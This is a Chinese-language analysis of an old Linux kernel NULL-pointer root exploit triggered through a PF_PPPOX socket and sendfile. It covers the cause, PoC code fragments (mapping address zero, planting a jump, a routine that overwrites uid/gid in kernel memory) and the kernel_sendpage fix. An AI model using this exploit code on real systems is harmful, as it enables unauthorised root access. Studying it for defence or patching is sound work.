漏洞成因
其實0位址的妙用在windows上也有很多的利用,在windows的主動防禦開發過程中,很多病毒都是用NULL位址來繞過主防的攔截。原理其實也很簡單,因為開發主防的程式員經常會在自己的hook函數開頭檢查傳進來的參數,例如if (param == NULL) return NTSTATUS_SUCCESS;這樣的代碼。
在Linux核心中,每個套接字都有一個名為proto_ops的相關操作結構,其中包含有用于實作各種功能(如接受、綁定、關閉等)的函數指針。如果對特定套接字的操作沒有實作,就應将相關的函數指針指向預定義的存根。例如,如果沒有定義accept功能,就應指向sock_no_accept()。但是,如果某些指針沒有初始化,就可能出現其他情況。
再回過來說linux上的這個root漏洞,其實原理和windows上差不多,就是申請一塊0位址的記憶體,然後往裡面寫入自己的函數代碼,核心中沒有判斷是否為NULL就直接調用了,通常情況下,可能核心直接奔潰,但是我們申請了0位址空間之後,就會調用進我們的提取函數中了。
PoC分析
1.程式首先申請一份0位址空間
if ((personality(0xffffffff)) != PER_SVR4) {
<span style="white-space:pre"> </span>if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
perror("mprotect");
return -1;
}
}
2.寫入跳轉代碼,去執行我們的提權函數(這個 exploit貌似是x86架構上的)
*(char *)0 = '\x90';
*(char *)1 = '\xe9';
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;
3.提權函數采用了很巧妙的方法去修改uid和gid
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
4.0位址空間布局好之後,通過調用sendfile觸發漏洞,提升權限
if ((fdin = mkstemp(template)) < 0) {
perror("mkstemp");
return -1;
}
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}
unlink(template);
ftruncate(fdin, PAGE_SIZE);
sendfile(fdout, fdin, NULL, PAGE_SIZE);
漏洞修複
本來直接調用的sock->ops->sendpage函數被替換成了kernel_sendpage函數,而kernel_sendpage是會對sock->ops->sendpage指針最判空處理的。
int kernel_sendpage(struct socket *sock, struct page *page, int offset, size_t size, int flags)
{
if (sock->ops->sendpage)
return sock->ops->sendpage(sock, page, offset, size, flags);
return sock_no_sendpage(sock, page, offset, size, flags);
}